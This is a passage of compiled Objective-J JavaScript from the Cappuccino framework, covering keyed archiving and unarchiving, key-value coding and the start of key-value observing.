_plistObject=objj_msgSend(CPDictionary,"dictionary");
objj_msgSend(_plistObject,"setObject:forKey:",_1a,_a);
objj_msgSend(_plistObject,"setObject:forKey:",_plistObjects,_b);
objj_msgSend(_plistObject,"setObject:forKey:",objj_msgSend(_18,"className"),_c);
objj_msgSend(_plistObject,"setObject:forKey:","100000",_d);
objj_msgSend(_data,"setPlistObject:",_plistObject);
if(_delegate&&_delegateSelectors&_5){
objj_msgSend(_delegate,"archiverDidFinish:",_18);
}
}
}),new objj_method(sel_getUid("outputFormat"),function(_1e,_1f){
with(_1e){
return _outputFormat;
}
}),new objj_method(sel_getUid("setOutputFormat:"),function(_20,_21,_22){
with(_20){
_outputFormat=_22;
}
}),new objj_method(sel_getUid("encodeBool:forKey:"),function(_23,_24,_25,_26){
with(_23){
objj_msgSend(_plistObject,"setObject:forKey:",_27(_23,_25,NO),_26);
}
}),new objj_method(sel_getUid("encodeDouble:forKey:"),function(_28,_29,_2a,_2b){
with(_28){
objj_msgSend(_plistObject,"setObject:forKey:",_27(_28,_2a,NO),_2b);
}
}),new objj_method(sel_getUid("encodeFloat:forKey:"),function(_2c,_2d,_2e,_2f){
with(_2c){
objj_msgSend(_plistObject,"setObject:forKey:",_27(_2c,_2e,NO),_2f);
}
}),new objj_method(sel_getUid("encodeInt:forKey:"),function(_30,_31,_32,_33){
with(_30){
objj_msgSend(_plistObject,"setObject:forKey:",_27(_30,_32,NO),_33);
}
}),new objj_method(sel_getUid("setDelegate:"),function(_34,_35,_36){
with(_34){
_delegate=_36;
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("archiver:didEncodeObject:"))){
_delegateSelectors|=_2;
}
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("archiver:willEncodeObject:"))){
_delegateSelectors|=_3;
}
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("archiver:willReplaceObject:withObject:"))){
_delegateSelectors|=_4;
}
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("archiver:didFinishEncoding:"))){
_delegateSelectors|=_CPKeyedArchiverDidFinishEncodingSelector;
}
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("archiver:willFinishEncoding:"))){
_delegateSelectors|=_CPKeyedArchiverWillFinishEncodingSelector;
}
}
}),new objj_method(sel_getUid("delegate"),function(_37,_38){
with(_37){
return _delegate;
}
}),new objj_method(sel_getUid("encodePoint:forKey:"),function(_39,_3a,_3b,_3c){
with(_39){
objj_msgSend(_plistObject,"setObject:forKey:",_27(_39,CPStringFromPoint(_3b),NO),_3c);
}
}),new objj_method(sel_getUid("encodeRect:forKey:"),function(_3d,_3e,_3f,_40){
with(_3d){
objj_msgSend(_plistObject,"setObject:forKey:",_27(_3d,CPStringFromRect(_3f),NO),_40);
}
}),new objj_method(sel_getUid("encodeSize:forKey:"),function(_41,_42,_43,_44){
with(_41){
objj_msgSend(_plistObject,"setObject:forKey:",_27(_41,CPStringFromSize(_43),NO),_44);
}
}),new objj_method(sel_getUid("encodeConditionalObject:forKey:"),function(_45,_46,_47,_48){
with(_45){
objj_msgSend(_plistObject,"setObject:forKey:",_27(_45,_47,YES),_48);
}
}),new objj_method(sel_getUid("encodeNumber:forKey:"),function(_49,_4a,_4b,_4c){
with(_49){
objj_msgSend(_plistObject,"setObject:forKey:",_27(_49,_4b,NO),_4c);
}
}),new objj_method(sel_getUid("encodeObject:forKey:"),function(_4d,_4e,_4f,_50){
with(_4d){
objj_msgSend(_plistObject,"setObject:forKey:",_27(_4d,_4f,NO),_50);
}
}),new objj_method(sel_getUid("_encodeArrayOfObjects:forKey:"),function(_51,_52,_53,_54){
with(_51){
var i=0,_55=_53.length,_56=objj_msgSend(CPArray,"arrayWithCapacity:",_55);
for(;i<_55;++i){
objj_msgSend(_56,"addObject:",_27(_51,_53[i],NO));
}
objj_msgSend(_plistObject,"setObject:forKey:",_56,_54);
}
}),new objj_method(sel_getUid("_encodeDictionaryOfObjects:forKey:"),function(_57,_58,_59,_5a){
with(_57){
var key,_5b=objj_msgSend(_59,"keyEnumerator"),_5c=objj_msgSend(CPDictionary,"dictionary");
while(key=objj_msgSend(_5b,"nextObject")){
objj_msgSend(_5c,"setObject:forKey:",_27(_57,objj_msgSend(_59,"objectForKey:",key),NO),key);
}
objj_msgSend(_plistObject,"setObject:forKey:",_5c,_5a);
}
}),new objj_method(sel_getUid("setClassName:forClass:"),function(_5d,_5e,_5f,_60){
with(_5d){
if(!_replacementClassNames){
_replacementClassNames=objj_msgSend(CPDictionary,"dictionary");
}
objj_msgSend(_replacementClassNames,"setObject:forKey:",_5f,CPStringFromClass(_60));
}
}),new objj_method(sel_getUid("classNameForClass:"),function(_61,_62,_63){
with(_61){
if(!_replacementClassNames){
return _63.name;
}
var _64=objj_msgSend(_replacementClassNames,"objectForKey:",CPStringFromClass(aClassName));
return _64?_64:_63.name;
}
})]);
class_addMethods(_14,[new objj_method(sel_getUid("initialize"),function(_65,_66){
with(_65){
if(_65!=objj_msgSend(CPKeyedArchiver,"class")){
return;
}
_11=objj_msgSend(CPString,"class");
_12=objj_msgSend(CPNumber,"class");
_8=objj_msgSend(CPDictionary,"dictionaryWithObject:forKey:",0,_9);
}
}),new objj_method(sel_getUid("allowsKeyedCoding"),function(_67,_68){
with(_67){
return YES;
}
}),new objj_method(sel_getUid("archivedDataWithRootObject:"),function(_69,_6a,_6b){
with(_69){
var _6c=objj_msgSend(CPData,"dataWithPlistObject:",nil),_6d=objj_msgSend(objj_msgSend(_69,"alloc"),"initForWritingWithMutableData:",_6c);
objj_msgSend(_6d,"encodeObject:forKey:",_6b,"root");
objj_msgSend(_6d,"finishEncoding");
return _6c;
}
}),new objj_method(sel_getUid("setClassName:forClass:"),function(_6e,_6f,_70,_71){
with(_6e){
if(!_1){
_1=objj_msgSend(CPDictionary,"dictionary");
}
objj_msgSend(_1,"setObject:forKey:",_70,CPStringFromClass(_71));
}
}),new objj_method(sel_getUid("classNameForClass:"),function(_72,_73,_74){
with(_72){
if(!_1){
return _74.name;
}
var _75=objj_msgSend(_1,"objectForKey:",CPStringFromClass(aClassName));
return _75?_75:_74.name;
}
})]);
var _27=function(_76,_77,_78){
if(_77!==nil&&!_77.isa){
_77=objj_msgSend(_CPKeyedArchiverValue,"valueWithJSObject:",_77);
}
var _79=objj_msgSend(_77,"UID"),_7a=objj_msgSend(_76._replacementObjects,"objectForKey:",_79);
if(_7a===nil){
_7a=objj_msgSend(_77,"replacementObjectForKeyedArchiver:",_76);
if(_76._delegate){
if(_7a!==_77&&_76._delegateSelectors&_4){
objj_msgSend(_76._delegate,"archiver:willReplaceObject:withObject:",_76,_77,_7a);
}
if(_76._delegateSelectors&_3){
_77=objj_msgSend(_76._delegate,"archiver:willEncodeObject:",_76,_7a);
if(_77!==_7a&&_76._delegateSelectors&_4){
objj_msgSend(_76._delegate,"archiver:willReplaceObject:withObject:",_76,_7a,_77);
}
_7a=_77;
}
}
objj_msgSend(_76._replacementObjects,"setObject:forKey:",_7a,_79);
}
if(_7a===nil){
return _8;
}
var UID=objj_msgSend(_76._UIDs,"objectForKey:",_79=objj_msgSend(_7a,"UID"));
if(UID===nil){
if(_78){
if((UID=objj_msgSend(_76._conditionalUIDs,"objectForKey:",_79))===nil){
objj_msgSend(_76._conditionalUIDs,"setObject:forKey:",UID=objj_msgSend(_76._plistObjects,"count"),_79);
objj_msgSend(_76._plistObjects,"addObject:",_7);
}
}else{
var _7b=objj_msgSend(_7a,"classForKeyedArchiver"),_7c=nil;
if((_7b===_11)||(_7b===_12)){
_7c=_7a;
}else{
_7c=objj_msgSend(CPDictionary,"dictionary");
objj_msgSend(_76._objects,"addObject:",_7a);
var _7d=objj_msgSend(_76,"classNameForClass:",_7b);
if(!_7d){
_7d=objj_msgSend(objj_msgSend(_76,"class"),"classNameForClass:",_7b);
}
if(!_7d){
_7d=_7b.name;
}else{
_7b=CPClassFromString(_7d);
}
var _7e=objj_msgSend(_76._UIDs,"objectForKey:",_7d);
if(!_7e){
var _7f=objj_msgSend(CPDictionary,"dictionary"),_80=[];
objj_msgSend(_7f,"setObject:forKey:",_7d,_e);
do{
objj_msgSend(_80,"addObject:",CPStringFromClass(_7b));
}while(_7b=objj_msgSend(_7b,"superclass"));
objj_msgSend(_7f,"setObject:forKey:",_80,_f);
_7e=objj_msgSend(_76._plistObjects,"count");
objj_msgSend(_76._plistObjects,"addObject:",_7f);
objj_msgSend(_76._UIDs,"setObject:forKey:",_7e,_7d);
}
objj_msgSend(_7c,"setObject:forKey:",objj_msgSend(CPDictionary,"dictionaryWithObject:forKey:",_7e,_9),_10);
}
UID=objj_msgSend(_76._conditionalUIDs,"objectForKey:",_79);
if(UID!==nil){
objj_msgSend(_76._UIDs,"setObject:forKey:",UID,_79);
objj_msgSend(_76._plistObjects,"replaceObjectAtIndex:withObject:",UID,_7c);
}else{
objj_msgSend(_76._UIDs,"setObject:forKey:",UID=objj_msgSend(_76._plistObjects,"count"),_79);
objj_msgSend(_76._plistObjects,"addObject:",_7c);
}
}
}
return objj_msgSend(CPDictionary,"dictionaryWithObject:forKey:",UID,_9);
};
p;19;CPKeyedUnarchiver.jt;8538;@STATIC;1.0;i;9;CPCoder.ji;8;CPNull.jt;8494;
objj_executeFile("CPCoder.j",YES);
objj_executeFile("CPNull.j",YES);
CPInvalidUnarchiveOperationException="CPInvalidUnarchiveOperationException";
var _1=1<<0,_2=1<<1,_3=1<<2,_4=1<<3,_5=1<<4,_6=1<<5;
var _7="$null";
_CPKeyedArchiverUIDKey="CP$UID",_CPKeyedArchiverTopKey="$top",_CPKeyedArchiverObjectsKey="$objects",_CPKeyedArchiverArchiverKey="$archiver",_CPKeyedArchiverVersionKey="$version",_CPKeyedArchiverClassNameKey="$classname",_CPKeyedArchiverClassesKey="$classes",_CPKeyedArchiverClassKey="$class";
var _8=Nil,_9=Nil,_a=Nil,_b=Nil,_c=Nil,_d=Nil,_e=Nil,_f=Nil;
var _10=objj_allocateClassPair(CPCoder,"CPKeyedUnarchiver"),_11=_10.isa;
class_addIvars(_10,[new objj_ivar("_delegate"),new objj_ivar("_delegateSelectors"),new objj_ivar("_data"),new objj_ivar("_replacementClasses"),new objj_ivar("_objects"),new objj_ivar("_archive"),new objj_ivar("_plistObject"),new objj_ivar("_plistObjects")]);
objj_registerClassPair(_10);
class_addMethods(_10,[new objj_method(sel_getUid("initForReadingWithData:"),function(_12,_13,_14){
with(_12){
_12=objj_msgSendSuper({receiver:_12,super_class:objj_getClass("CPKeyedUnarchiver").super_class},"init");
if(_12){
_archive=objj_msgSend(_14,"plistObject");
_objects=[objj_msgSend(CPNull,"null")];
_plistObject=objj_msgSend(_archive,"objectForKey:",_CPKeyedArchiverTopKey);
_plistObjects=objj_msgSend(_archive,"objectForKey:",_CPKeyedArchiverObjectsKey);
_replacementClasses=new CFMutableDictionary();
}
return _12;
}
}),new objj_method(sel_getUid("containsValueForKey:"),function(_15,_16,_17){
with(_15){
return _plistObject.valueForKey(_17)!=nil;
}
}),new objj_method(sel_getUid("_decodeDictionaryOfObjectsForKey:"),function(_18,_19,_1a){
with(_18){
var _1b=_plistObject.valueForKey(_1a),_1c=(_1b!=nil)&&_1b.isa;
if(_1c===_b||_1c===_c){
var _1d=_1b.keys(),_1e=0,_1f=_1d.length,_20=new CFMutableDictionary();
for(;_1e<_1f;++_1e){
var key=_1d[_1e];
_20.setValueForKey(key,_21(_18,_1b.valueForKey(key).valueForKey(_CPKeyedArchiverUIDKey)));
}
return _20;
}
return nil;
}
}),new objj_method(sel_getUid("decodeBoolForKey:"),function(_22,_23,_24){
with(_22){
return objj_msgSend(_22,"decodeObjectForKey:",_24);
}
}),new objj_method(sel_getUid("decodeFloatForKey:"),function(_25,_26,_27){
with(_25){
return objj_msgSend(_25,"decodeObjectForKey:",_27);
}
}),new objj_method(sel_getUid("decodeDoubleForKey:"),function(_28,_29,_2a){
with(_28){
return objj_msgSend(_28,"decodeObjectForKey:",_2a);
}
}),new objj_method(sel_getUid("decodeIntForKey:"),function(_2b,_2c,_2d){
with(_2b){
return objj_msgSend(_2b,"decodeObjectForKey:",_2d);
}
}),new objj_method(sel_getUid("decodePointForKey:"),function(_2e,_2f,_30){
with(_2e){
var _31=objj_msgSend(_2e,"decodeObjectForKey:",_30);
if(_31){
return CPPointFromString(_31);
}else{
return CPPointMake(0,0);
}
}
}),new objj_method(sel_getUid("decodeRectForKey:"),function(_32,_33,_34){
with(_32){
var _35=objj_msgSend(_32,"decodeObjectForKey:",_34);
if(_35){
return CPRectFromString(_35);
}else{
return CPRectMakeZero();
}
}
}),new objj_method(sel_getUid("decodeSizeForKey:"),function(_36,_37,_38){
with(_36){
var _39=objj_msgSend(_36,"decodeObjectForKey:",_38);
if(_39){
return CPSizeFromString(_39);
}else{
return CPSizeMake(0,0);
}
}
}),new objj_method(sel_getUid("decodeObjectForKey:"),function(_3a,_3b,_3c){
with(_3a){
var _3d=_plistObject.valueForKey(_3c),_3e=(_3d!=nil)&&_3d.isa;
if(_3e===_b||_3e===_c){
return _21(_3a,_3d.valueForKey(_CPKeyedArchiverUIDKey));
}else{
if(_3e===_d||_3e===_e||_3e===_a){
return _3d;
}else{
if(_3e===_8||_3e===_9){
var _3f=0,_40=_3d.length,_41=[];
for(;_3f<_40;++_3f){
_41[_3f]=_21(_3a,_3d[_3f].valueForKey(_CPKeyedArchiverUIDKey));
}
return _41;
}
}
}
return nil;
}
}),new objj_method(sel_getUid("decodeBytesForKey:"),function(_42,_43,_44){
with(_42){
var _45=objj_msgSend(_42,"decodeObjectForKey:",_44);
if(!_45){
return nil;
}
var _46=_45.isa;
if(_46===_e){
return _45.bytes;
}
return nil;
}
}),new objj_method(sel_getUid("finishDecoding"),function(_47,_48){
with(_47){
if(_delegateSelectors&_4){
objj_msgSend(_delegate,"unarchiverWillFinish:",_47);
}
if(_delegateSelectors&_5){
objj_msgSend(_delegate,"unarchiverDidFinish:",_47);
}
}
}),new objj_method(sel_getUid("delegate"),function(_49,_4a){
with(_49){
return _delegate;
}
}),new objj_method(sel_getUid("setDelegate:"),function(_4b,_4c,_4d){
with(_4b){
_delegate=_4d;
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("unarchiver:cannotDecodeObjectOfClassName:originalClasses:"))){
_delegateSelectors|=_1;
}
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("unarchiver:didDecodeObject:"))){
_delegateSelectors|=_2;
}
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("unarchiver:willReplaceObject:withObject:"))){
_delegateSelectors|=_3;
}
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("unarchiverWillFinish:"))){
_delegateSelectors|=_CPKeyedUnarchiverWilFinishSelector;
}
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("unarchiverDidFinish:"))){
_delegateSelectors|=_5;
}
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("unarchiver:cannotDecodeObjectOfClassName:originalClasses:"))){
_delegateSelectors|=_6;
}
}
}),new objj_method(sel_getUid("setClass:forClassName:"),function(_4e,_4f,_50,_51){
with(_4e){
_replacementClasses.setValueForKey(_51,_50);
}
}),new objj_method(sel_getUid("classForClassName:"),function(_52,_53,_54){
with(_52){
return _replacementClasses.valueForKey(_54);
}
}),new objj_method(sel_getUid("allowsKeyedCoding"),function(_55,_56){
with(_55){
return YES;
}
})]);
class_addMethods(_11,[new objj_method(sel_getUid("initialize"),function(_57,_58){
with(_57){
if(_57!==objj_msgSend(CPKeyedUnarchiver,"class")){
return;
}
_8=objj_msgSend(CPArray,"class");
_9=objj_msgSend(CPMutableArray,"class");
_a=objj_msgSend(CPString,"class");
_b=objj_msgSend(CPDictionary,"class");
_c=objj_msgSend(CPMutableDictionary,"class");
_d=objj_msgSend(CPNumber,"class");
_e=objj_msgSend(CPData,"class");
_f=objj_msgSend(_CPKeyedArchiverValue,"class");
}
}),new objj_method(sel_getUid("unarchiveObjectWithData:"),function(_59,_5a,_5b){
with(_59){
if(!_5b){
CPLog.error("Null data passed to -[CPKeyedUnarchiver unarchiveObjectWithData:].");
return nil;
}
var _5c=objj_msgSend(objj_msgSend(_59,"alloc"),"initForReadingWithData:",_5b),_5d=objj_msgSend(_5c,"decodeObjectForKey:","root");
objj_msgSend(_5c,"finishDecoding");
return _5d;
}
}),new objj_method(sel_getUid("unarchiveObjectWithFile:"),function(_5e,_5f,_60){
with(_5e){
}
}),new objj_method(sel_getUid("unarchiveObjectWithFile:asynchronously:"),function(_61,_62,_63,_64){
with(_61){
}
})]);
var _21=function(_65,_66){
var _67=_65._objects[_66];
if(_67){
if(_67===_65._objects[0]){
return nil;
}else{
return _67;
}
}
var _67,_68=_65._plistObjects[_66],_69=_68.isa;
if(_69===_b||_69===_c){
var _6a=_65._plistObjects[_68.valueForKey(_CPKeyedArchiverClassKey).valueForKey(_CPKeyedArchiverUIDKey)],_6b=_6a.valueForKey(_CPKeyedArchiverClassNameKey),_6c=_6a.valueForKey(_CPKeyedArchiverClassesKey),_6d=objj_msgSend(_65,"classForClassName:",_6b);
if(!_6d){
_6d=CPClassFromString(_6b);
}
if(!_6d&&(_65._delegateSelectors&_6)){
_6d=objj_msgSend(_delegate,"unarchiver:cannotDecodeObjectOfClassName:originalClasses:",_65,_6b,_6c);
}
if(!_6d){
objj_msgSend(CPException,"raise:reason:",CPInvalidUnarchiveOperationException,"-[CPKeyedUnarchiver decodeObjectForKey:]: cannot decode object of class ("+_6b+")");
}
var _6e=_65._plistObject;
_65._plistObject=_68;
_67=objj_msgSend(_6d,"allocWithCoder:",_65);
_65._objects[_66]=_67;
var _6f=objj_msgSend(_67,"initWithCoder:",_65);
_65._plistObject=_6e;
if(_6f!==_67){
if(_65._delegateSelectors&_3){
objj_msgSend(_65._delegate,"unarchiver:willReplaceObject:withObject:",_65,_67,_6f);
}
_67=_6f;
_65._objects[_66]=_6f;
}
_6f=objj_msgSend(_67,"awakeAfterUsingCoder:",_65);
if(_6f!==_67){
if(_65._delegateSelectors&_3){
objj_msgSend(_65._delegate,"unarchiver:willReplaceObject:withObject:",_65,_67,_6f);
}
_67=_6f;
_65._objects[_66]=_6f;
}
if(_65._delegate){
if(_65._delegateSelectors&_2){
_6f=objj_msgSend(_65._delegate,"unarchiver:didDecodeObject:",_65,_67);
}
if(_6f!=_67){
if(_65._delegateSelectors&_3){
objj_msgSend(_65._delegate,"unarchiver:willReplaceObject:withObject:",_65,_67,_6f);
}
_67=_6f;
_65._objects[_66]=_6f;
}
}
}else{
_65._objects[_66]=_67=_68;
if(objj_msgSend(_67,"class")===_a){
if(_67===_7){
_65._objects[_66]=_65._objects[0];
return nil;
}else{
_65._objects[_66]=_67=_68;
}
}
}
if((_67!=nil)&&(_67.isa===_f)){
_67=objj_msgSend(_67,"JSObject");
}
return _67;
};
p;18;CPKeyValueCoding.jt;7312;@STATIC;1.0;i;9;CPArray.ji;14;CPDictionary.ji;8;CPNull.ji;10;CPObject.ji;21;CPKeyValueObserving.ji;13;CPArray+KVO.jt;7190;
objj_executeFile("CPArray.j",YES);
objj_executeFile("CPDictionary.j",YES);
objj_executeFile("CPNull.j",YES);
objj_executeFile("CPObject.j",YES);
var _1=nil,_2=nil;
CPUndefinedKeyException="CPUndefinedKeyException";
CPTargetObjectUserInfoKey="CPTargetObjectUserInfoKey";
CPUnknownUserInfoKey="CPUnknownUserInfoKey";
var _3="$CPObjectAccessorsForClassKey",_4="$CPObjectModifiersForClassKey";
var _5=objj_getClass("CPObject");
if(!_5){
throw new SyntaxError("*** Could not find definition for class \"CPObject\"");
}
var _6=_5.isa;
class_addMethods(_5,[new objj_method(sel_getUid("_ivarForKey:"),function(_7,_8,_9){
with(_7){
var _a="_"+_9;
if(typeof _7[_a]!="undefined"){
return _a;
}
var _b="is"+_9.charAt(0).toUpperCase()+_9.substr(1);
_a="_"+_b;
if(typeof _7[_a]!="undefined"){
return _a;
}
_a=_9;
if(typeof _7[_a]!="undefined"){
return _a;
}
_a=_b;
if(typeof _7[_a]!="undefined"){
return _a;
}
return nil;
}
}),new objj_method(sel_getUid("valueForKey:"),function(_c,_d,_e){
with(_c){
var _f=objj_msgSend(_c,"class"),_10=_11(_f,_e);
if(_10){
return objj_msgSend(_c,_10);
}
if(objj_msgSend(_f,"accessInstanceVariablesDirectly")){
var _12=objj_msgSend(_c,"_ivarForKey:",_e);
if(_12){
return _c[_12];
}
}
return objj_msgSend(_c,"valueForUndefinedKey:",_e);
}
}),new objj_method(sel_getUid("valueForKeyPath:"),function(_13,_14,_15){
with(_13){
var _16=_15.indexOf(".");
if(_16===-1){
return objj_msgSend(_13,"valueForKey:",_15);
}
var _17=_15.substring(0,_16),_18=_15.substring(_16+1),_19=objj_msgSend(_13,"valueForKey:",_17);
return objj_msgSend(_19,"valueForKeyPath:",_18);
}
}),new objj_method(sel_getUid("dictionaryWithValuesForKeys:"),function(_1a,_1b,_1c){
with(_1a){
var _1d=0,_1e=_1c.length,_1f=objj_msgSend(CPDictionary,"dictionary");
for(;_1d<_1e;++_1d){
var key=_1c[_1d],_20=objj_msgSend(_1a,"valueForKey:",key);
if(_20===nil){
objj_msgSend(_1f,"setObject:forKey:",objj_msgSend(CPNull,"null"),key);
}else{
objj_msgSend(_1f,"setObject:forKey:",_20,key);
}
}
return _1f;
}
}),new objj_method(sel_getUid("valueForUndefinedKey:"),function(_21,_22,_23){
with(_21){
objj_msgSend(objj_msgSend(CPException,"exceptionWithName:reason:userInfo:",CPUndefinedKeyException,objj_msgSend(_21,"description")+" is not key value coding-compliant for the key "+_23,objj_msgSend(CPDictionary,"dictionaryWithObjects:forKeys:",[_21,_23],[CPTargetObjectUserInfoKey,CPUnknownUserInfoKey])),"raise");
}
}),new objj_method(sel_getUid("setValue:forKeyPath:"),function(_24,_25,_26,_27){
with(_24){
if(!_27){
_27="self";
}
var i=0,_28=_27.split("."),_29=_28.length-1,_2a=_24;
for(;i<_29;++i){
_2a=objj_msgSend(_2a,"valueForKey:",_28[i]);
}
objj_msgSend(_2a,"setValue:forKey:",_26,_28[i]);
}
}),new objj_method(sel_getUid("setValue:forKey:"),function(_2b,_2c,_2d,_2e){
with(_2b){
var _2f=objj_msgSend(_2b,"class"),_30=objj_msgSend(_2f,"_modifierForKey:",_2e);
if(_30){
return objj_msgSend(_2b,_30,_2d);
}
if(objj_msgSend(_2f,"accessInstanceVariablesDirectly")){
var _31=objj_msgSend(_2b,"_ivarForKey:",_2e);
if(_31){
objj_msgSend(_2b,"willChangeValueForKey:",_2e);
_2b[_31]=_2d;
objj_msgSend(_2b,"didChangeValueForKey:",_2e);
return;
}
}
objj_msgSend(_2b,"setValue:forUndefinedKey:",_2d,_2e);
}
}),new objj_method(sel_getUid("setValue:forUndefinedKey:"),function(_32,_33,_34,_35){
with(_32){
objj_msgSend(objj_msgSend(CPException,"exceptionWithName:reason:userInfo:",CPUndefinedKeyException,objj_msgSend(_32,"description")+" is not key value coding-compliant for the key "+_35,objj_msgSend(CPDictionary,"dictionaryWithObjects:forKeys:",[_32,_35],[CPTargetObjectUserInfoKey,CPUnknownUserInfoKey])),"raise");
}
})]);
class_addMethods(_6,[new objj_method(sel_getUid("accessInstanceVariablesDirectly"),function(_36,_37){
with(_36){
return YES;
}
}),new objj_method(sel_getUid("_accessorForKey:"),function(_38,_39,_3a){
with(_38){
var _3b=nil,_3c=isa[_3];
if(_3c){
_3b=_3c[_3a];
if(_3b){
return _3b===objj_msgSend(CPNull,"null")?nil:_3b;
}
}else{
_3c=isa[_3]={};
}
var _3d=_3a.charAt(0).toUpperCase()+_3a.substr(1);
if(objj_msgSend(_38,"instancesRespondToSelector:",_3b=CPSelectorFromString("get"+_3d))||objj_msgSend(_38,"instancesRespondToSelector:",_3b=CPSelectorFromString(_3a))||objj_msgSend(_38,"instancesRespondToSelector:",_3b=CPSelectorFromString("is"+_3d))||objj_msgSend(_38,"instancesRespondToSelector:",_3b=CPSelectorFromString("_get"+_3d))||objj_msgSend(_38,"instancesRespondToSelector:",_3b=CPSelectorFromString("_"+_3a))||objj_msgSend(_38,"instancesRespondToSelector:",_3b=CPSelectorFromString("_is"+_3d))){
_3c[_3a]=_3b;
return _3b;
}
_3c[_3a]=objj_msgSend(CPNull,"null");
return nil;
}
}),new objj_method(sel_getUid("_modifierForKey:"),function(_3e,_3f,_40){
with(_3e){
if(!_2){
_2=objj_msgSend(CPDictionary,"dictionary");
}
var UID=objj_msgSend(isa,"UID"),_41=nil,_42=objj_msgSend(_2,"objectForKey:",UID);
if(_42){
_41=objj_msgSend(_42,"objectForKey:",_40);
if(_41){
return _41===objj_msgSend(CPNull,"null")?nil:_41;
}
}else{
_42=objj_msgSend(CPDictionary,"dictionary");
objj_msgSend(_2,"setObject:forKey:",_42,UID);
}
if(_41){
return _41===objj_msgSend(CPNull,"null")?nil:_41;
}
var _43=_40.charAt(0).toUpperCase()+_40.substr(1)+":";
if(objj_msgSend(_3e,"instancesRespondToSelector:",_41=CPSelectorFromString("set"+_43))||objj_msgSend(_3e,"instancesRespondToSelector:",_41=CPSelectorFromString("_set"+_43))){
objj_msgSend(_42,"setObject:forKey:",_41,_40);
return _41;
}
objj_msgSend(_42,"setObject:forKey:",objj_msgSend(CPNull,"null"),_40);
return nil;
}
})]);
var _44=objj_msgSend(CPNull,"null");
var _11=function(_45,_46){
var _47=nil,_48=_45.isa[_3];
if(_48){
_47=_48[_46];
if(_47){
return _47===_44?nil:_47;
}
}else{
_48=_45.isa[_3]={};
}
var _49=_46.charAt(0).toUpperCase()+_46.substr(1);
if(objj_msgSend(_45,"instancesRespondToSelector:",_47=CPSelectorFromString("get"+_49))||objj_msgSend(_45,"instancesRespondToSelector:",_47=CPSelectorFromString(_46))||objj_msgSend(_45,"instancesRespondToSelector:",_47=CPSelectorFromString("is"+_49))||objj_msgSend(_45,"instancesRespondToSelector:",_47=CPSelectorFromString("_get"+_49))||objj_msgSend(_45,"instancesRespondToSelector:",_47=CPSelectorFromString("_"+_46))||objj_msgSend(_45,"instancesRespondToSelector:",_47=CPSelectorFromString("_is"+_49))){
_48[_46]=_47;
return _47;
}
_48[_46]=_44;
return nil;
};
var _5=objj_getClass("CPDictionary");
if(!_5){
throw new SyntaxError("*** Could not find definition for class \"CPDictionary\"");
}
var _6=_5.isa;
class_addMethods(_5,[new objj_method(sel_getUid("valueForKey:"),function(_4a,_4b,_4c){
with(_4a){
if(objj_msgSend(_4c,"hasPrefix:","@")){
return objj_msgSendSuper({receiver:_4a,super_class:objj_getClass("CPDictionary").super_class},"valueForKey:",_4c.substr(1));
}
return objj_msgSend(_4a,"objectForKey:",_4c);
}
}),new objj_method(sel_getUid("setValue:forKey:"),function(_4d,_4e,_4f,_50){
with(_4d){
objj_msgSend(_4d,"setObject:forKey:",_4f,_50);
}
})]);
var _5=objj_getClass("CPNull");
if(!_5){
throw new SyntaxError("*** Could not find definition for class \"CPNull\"");
}
var _6=_5.isa;
class_addMethods(_5,[new objj_method(sel_getUid("valueForKey:"),function(_51,_52,_53){
with(_51){
return _51;
}
})]);
objj_executeFile("CPKeyValueObserving.j",YES);
objj_executeFile("CPArray+KVO.j",YES);
p;21;CPKeyValueObserving.jt;18935;@STATIC;1.0;i;9;CPArray.ji;14;CPDictionary.ji;13;CPException.ji;8;CPNull.ji;10;CPObject.ji;7;CPSet.ji;13;CPArray+KVO.jt;18809;
objj_executeFile("CPArray.j",YES);
objj_executeFile("CPDictionary.j",YES);
objj_executeFile("CPException.j",YES);
objj_executeFile("CPNull.j",YES);
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPSet.j",YES);
var _1=objj_getClass("CPObject");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPObject\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("willChangeValueForKey:"),function(_3,_4,_5){
with(_3){
}
}),new objj_method(sel_getUid("didChangeValueForKey:"),function(_6,_7,_8){
with(_6){
}
}),new objj_method(sel_getUid("willChange:valuesAtIndexes:forKey:"),function(_9,_a,_b,_c,_d){
with(_9){
}
}),new objj_method(sel_getUid("didChange:valuesAtIndexes:forKey:"),function(_e,_f,_10,_11,key){
with(_e){
}
}),new objj_method(sel_getUid("addObserver:forKeyPath:options:context:"),function(_12,_13,_14,_15,_16,_17){
with(_12){
if(!_14||!_15){
return;
}
objj_msgSend(objj_msgSend(_CPKVOProxy,"proxyForObject:",_12),"_addObserver:forKeyPath:options:context:",_14,_15,_16,_17);
}
}),new objj_method(sel_getUid("removeObserver:forKeyPath:"),function(_18,_19,_1a,_1b){
with(_18){
if(!_1a||!_1b){
return;
}
objj_msgSend(_18[_1c],"_removeObserver:forKeyPath:",_1a,_1b);
}
}),new objj_method(sel_getUid("applyChange:toKeyPath:"),function(_1d,_1e,_1f,_20){
with(_1d){
var _21=objj_msgSend(_1f,"objectForKey:",CPKeyValueChangeKindKey);
if(_21===CPKeyValueChangeSetting){
var _22=objj_msgSend(_1f,"objectForKey:",CPKeyValueChangeNewKey);
objj_msgSend(_1d,"setValue:forKeyPath:",_22===objj_msgSend(CPNull,"null")?nil:_22,_20);
}else{
if(_21===CPKeyValueChangeInsertion){
objj_msgSend(objj_msgSend(_1d,"mutableArrayValueForKeyPath:",_20),"insertObjects:atIndexes:",objj_msgSend(_1f,"objectForKey:",CPKeyValueChangeNewKey),objj_msgSend(_1f,"objectForKey:",CPKeyValueChangeIndexesKey));
}else{
if(_21===CPKeyValueChangeRemoval){
objj_msgSend(objj_msgSend(_1d,"mutableArrayValueForKeyPath:",_20),"removeObjectsAtIndexes:",objj_msgSend(_1f,"objectForKey:",CPKeyValueChangeIndexesKey));
}else{
if(_21===CPKeyValueChangeReplacement){
